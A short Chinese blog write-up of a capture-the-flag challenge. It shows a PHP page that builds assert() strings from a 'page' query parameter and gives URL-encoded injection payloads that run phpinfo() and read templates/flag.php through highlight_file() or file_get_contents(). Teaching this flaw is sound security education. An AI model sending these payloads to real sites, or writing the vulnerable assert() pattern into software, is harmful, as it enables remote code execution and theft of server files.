PHP-ctf:assert
来自三线的随记
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
assert
assert()简介：判断一个表达式是否成立。返回true or false。
当参数为字符串时，会被当作php代码执行。
构造语句
123%27)%20or%20phpinfo();%23
123') or phpinfo();#
/?page=123')%20or%20(highlight_file('templates/flag.php'))%3B%23
通过可控变量file传入恶意参数，构造闭合 file_exists(),使assert()执行恶意代码
构造： /?page=123%27)%20or%20phpinfo();%23
注意闭合' ) 以及结尾;
关于此处的#: #是单行注释，由assert("phpinfo()") <==> <?phpinfo()?> 可知，#的作用域仅仅是assert(函数内)
利用：/?page=123%27)%20or%20print_r(file_get_contents(%27templates/flag.php%27));%23
解释：file_get_contents把文件读入一个字符串中
最后，assert与eval的区别
assert把整个字符串参数当php代码执行，eval把合法的php代码执行。
